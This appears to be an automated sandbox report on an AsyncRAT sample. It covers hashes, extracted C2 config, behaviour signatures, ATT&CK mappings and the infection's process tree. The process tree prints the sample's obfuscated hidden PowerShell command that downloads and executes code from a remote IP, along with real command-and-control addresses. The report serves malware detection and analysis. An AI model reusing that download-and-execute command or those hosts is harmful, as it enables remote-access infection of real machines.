asyncrat | 0476cdaf6b93168281968fcc06d78b3384de95e4df98e06290bdd63bb6a8b3f1

Analysis

max time kernel
92s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28/01/2025, 11:12

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General

Target

JxQdThApPv.WSF.wsf
Size

465KB
MD5

5cd92159ae3ab267e6b71d0a38b1a135
SHA1

3bca9b4d7c2405b75019737ebb5f28719b4d307a
SHA256

0476cdaf6b93168281968fcc06d78b3384de95e4df98e06290bdd63bb6a8b3f1
SHA512

2cfa54c21444c1b03336bdb49f92bd420c856a824ec0f85bb31b187f13e422d106a4ef72c2d2ee794c7dc34e540afd8c82914a5f9ba2f9754adb92476bbf1d02
SSDEEP

12288:WYlYlYlYlYlYlYlYlYlYlYlYRYlYlYlYlYlYlYlYlYlYlYlY0YlYlYlYlYlYlYle:h

Score

10^/10

asyncrat 00000001 discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | 3Losh

Botnet

00000001

81.10.39.58:7077

Mutex

AsyncMutex_alosh

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	4412	WScript.exe
15	1020	powershell.exe
24	1020	powershell.exe
27	1020	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1020	powershell.exe
4628	powershell.exe
228	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	api.ipify.org
24	api.ipify.org

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4628 set thread context of 2312	4628	powershell.exe	95
PID 228 set thread context of 5100	228	powershell.exe	120

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1020	powershell.exe
1020	powershell.exe
4628	powershell.exe
4628	powershell.exe
2312	aspnet_compiler.exe
228	powershell.exe
228	powershell.exe
228	powershell.exe
228	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeIncreaseQuotaPrivilege	1020	powershell.exe
Token: SeSecurityPrivilege	1020	powershell.exe
Token: SeTakeOwnershipPrivilege	1020	powershell.exe
Token: SeLoadDriverPrivilege	1020	powershell.exe
Token: SeSystemProfilePrivilege	1020	powershell.exe
Token: SeSystemtimePrivilege	1020	powershell.exe
Token: SeProfSingleProcessPrivilege	1020	powershell.exe
Token: SeIncBasePriorityPrivilege	1020	powershell.exe
Token: SeCreatePagefilePrivilege	1020	powershell.exe
Token: SeBackupPrivilege	1020	powershell.exe
Token: SeRestorePrivilege	1020	powershell.exe
Token: SeShutdownPrivilege	1020	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeSystemEnvironmentPrivilege	1020	powershell.exe
Token: SeRemoteShutdownPrivilege	1020	powershell.exe
Token: SeUndockPrivilege	1020	powershell.exe
Token: SeManageVolumePrivilege	1020	powershell.exe
Token: 33	1020	powershell.exe
Token: 34	1020	powershell.exe
Token: 35	1020	powershell.exe
Token: 36	1020	powershell.exe
Token: SeIncreaseQuotaPrivilege	1020	powershell.exe
Token: SeSecurityPrivilege	1020	powershell.exe
Token: SeTakeOwnershipPrivilege	1020	powershell.exe
Token: SeLoadDriverPrivilege	1020	powershell.exe
Token: SeSystemProfilePrivilege	1020	powershell.exe
Token: SeSystemtimePrivilege	1020	powershell.exe
Token: SeProfSingleProcessPrivilege	1020	powershell.exe
Token: SeIncBasePriorityPrivilege	1020	powershell.exe
Token: SeCreatePagefilePrivilege	1020	powershell.exe
Token: SeBackupPrivilege	1020	powershell.exe
Token: SeRestorePrivilege	1020	powershell.exe
Token: SeShutdownPrivilege	1020	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeSystemEnvironmentPrivilege	1020	powershell.exe
Token: SeRemoteShutdownPrivilege	1020	powershell.exe
Token: SeUndockPrivilege	1020	powershell.exe
Token: SeManageVolumePrivilege	1020	powershell.exe
Token: 33	1020	powershell.exe
Token: 34	1020	powershell.exe
Token: 35	1020	powershell.exe
Token: 36	1020	powershell.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	2312	aspnet_compiler.exe
Token: SeDebugPrivilege	228	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2312	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 4412 wrote to memory of 1020	4412	WScript.exe	83
PID 4412 wrote to memory of 1020	4412	WScript.exe	83
PID 2224 wrote to memory of 1436	2224	WScript.exe	89
PID 2224 wrote to memory of 1436	2224	WScript.exe	89
PID 1436 wrote to memory of 4256	1436	net.exe	91
PID 1436 wrote to memory of 4256	1436	net.exe	91
PID 2224 wrote to memory of 3780	2224	WScript.exe	92
PID 2224 wrote to memory of 3780	2224	WScript.exe	92
PID 3780 wrote to memory of 4628	3780	cmd.exe	94
PID 3780 wrote to memory of 4628	3780	cmd.exe	94
PID 4628 wrote to memory of 2312	4628	powershell.exe	95
PID 4628 wrote to memory of 2312	4628	powershell.exe	95
PID 4628 wrote to memory of 2312	4628	powershell.exe	95
PID 4628 wrote to memory of 2312	4628	powershell.exe	95
PID 4628 wrote to memory of 2312	4628	powershell.exe	95
PID 4628 wrote to memory of 2312	4628	powershell.exe	95
PID 4628 wrote to memory of 2312	4628	powershell.exe	95
PID 4628 wrote to memory of 2312	4628	powershell.exe	95
PID 2456 wrote to memory of 2000	2456	WScript.exe	113
PID 2456 wrote to memory of 2000	2456	WScript.exe	113
PID 2000 wrote to memory of 4256	2000	net.exe	115
PID 2000 wrote to memory of 4256	2000	net.exe	115
PID 2456 wrote to memory of 4860	2456	WScript.exe	116
PID 2456 wrote to memory of 4860	2456	WScript.exe	116
PID 4860 wrote to memory of 228	4860	cmd.exe	118
PID 4860 wrote to memory of 228	4860	cmd.exe	118
PID 228 wrote to memory of 3612	228	powershell.exe	119
PID 228 wrote to memory of 3612	228	powershell.exe	119
PID 228 wrote to memory of 3612	228	powershell.exe	119
PID 228 wrote to memory of 5100	228	powershell.exe	120
PID 228 wrote to memory of 5100	228	powershell.exe	120
PID 228 wrote to memory of 5100	228	powershell.exe	120
PID 228 wrote to memory of 5100	228	powershell.exe	120
PID 228 wrote to memory of 5100	228	powershell.exe	120
PID 228 wrote to memory of 5100	228	powershell.exe	120
PID 228 wrote to memory of 5100	228	powershell.exe	120
PID 228 wrote to memory of 5100	228	powershell.exe	120

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\JxQdThApPv.WSF.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$gGENXWVRcDoy='IeX(NeW-OBJeCT NeT.W';$ZPDsGQJSHtFC='eBCLIeNT).DOWNLO';$LnNvzWQSAEwo='repoooos(''http://45.88.186.162/test//update.php'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($gGENXWVRcDoy+$ZPDsGQJSHtFC+$LnNvzWQSAEwo);
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1020

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\N6Mn2cyKv4.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Music\N6Mn2cyKv4.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Music\N6Mn2cyKv4.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2312

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\N6Mn2cyKv4.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Music\N6Mn2cyKv4.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Music\N6Mn2cyKv4.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:228
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:3612
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b29d1cb3e9761a90902c4a66a2ba3d5a

SHA1
63c64b29626976bc0a143d72f291bb50727dffbe

SHA256
b998ed3cf206c4dac06d6028943a2f5accd73a93aca74420afe7480c464bf124

SHA512
54bac9ee28a46f57bfac8fecb6d8af504cb483b70f62f06febd9768d4254b611a082c8191d93599ebfd4a5b75a85dd387b758db1439df89337473c8f68a3cd88

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oo22uoy2.p0m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Music\N6Mn2cyKv4.bat

Filesize
2KB

MD5
414a0ec26fcf829d77ce6200892225b1

SHA1
1c92825a9384931a4a349e70f019d1d0a5559469

SHA256
83e69d1f610e2974a2031bee57511c276953d4f250f26927b01e3b6b1129f745

SHA512
7112bbb4376b524dce357db1a3a34e9b207f69f51d5eeffc7c1100990b2fcb951924e6c18207fad681b40fa9d394abe5aa170d491867b407be9ec5723c094896

Download Submit
C:\Users\Public\Music\N6Mn2cyKv4.ps1

Filesize
453KB

MD5
06355fdb659b0835a5cdf2096ae3c136

SHA1
b64651a5e7f492032511e5439c9f3e5cd3a91e2e

SHA256
9342a3d4d31647a0eaa30943fa97d24f08a3502e0a0a67b8b9ffba31ad4a77b9

SHA512
9681dd315694733473ae9f2c07d19fd0617eccdd857c1038987db9e5c11bbf72e4e77874701dc1da5d318e19b1f29642c37a49e295ac3863b4f0e1d31e7b9111

Download Submit
C:\Users\Public\Music\N6Mn2cyKv4.vbs

Filesize
4KB

MD5
ab8a4a6f0da1106552be4c4cfa5c1491

SHA1
9cb89e68c93ed6ea58d5d585cf14d9a9ed560fb9

SHA256
7446773ad16120c2e8917f5bc98b5cc108525a7fe42e1f29398a673147a097cd

SHA512
a18e118bb4156a5636e860e348a30b70d1390628b828a4b39d2ff13f3f25f0e18d9e9b02edd6fc79f5865ca1b293ffc7222b8e84ef02d58e8cbdf1247381e62c

Download Submit
memory/1020-37-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1020-46-0x00000209A84C0000-0x00000209A8682000-memory.dmp

Filesize
1.8MB

Download
memory/1020-13-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1020-52-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1020-2-0x00000209A7DD0000-0x00000209A7DF2000-memory.dmp

Filesize
136KB

Download
memory/1020-36-0x00007FF81EA33000-0x00007FF81EA35000-memory.dmp

Filesize
8KB

Download
memory/1020-1-0x00007FF81EA33000-0x00007FF81EA35000-memory.dmp

Filesize
8KB

Download
memory/1020-12-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1020-48-0x00000209A8BC0000-0x00000209A90E8000-memory.dmp

Filesize
5.2MB

Download
memory/1020-47-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1020-19-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1020-45-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/2312-44-0x0000000006CF0000-0x0000000006D56000-memory.dmp

Filesize
408KB

Download
memory/2312-43-0x0000000006C50000-0x0000000006CEC000-memory.dmp

Filesize
624KB

Download
memory/2312-40-0x0000000005BF0000-0x0000000005BFA000-memory.dmp

Filesize
40KB

Download
memory/2312-39-0x0000000005C00000-0x0000000005C92000-memory.dmp

Filesize
584KB

Download
memory/2312-38-0x0000000005FC0000-0x0000000006564000-memory.dmp

Filesize
5.6MB

Download
memory/2312-33-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4628-32-0x00000208F6C30000-0x00000208F6C3C000-memory.dmp

Filesize
48KB

Download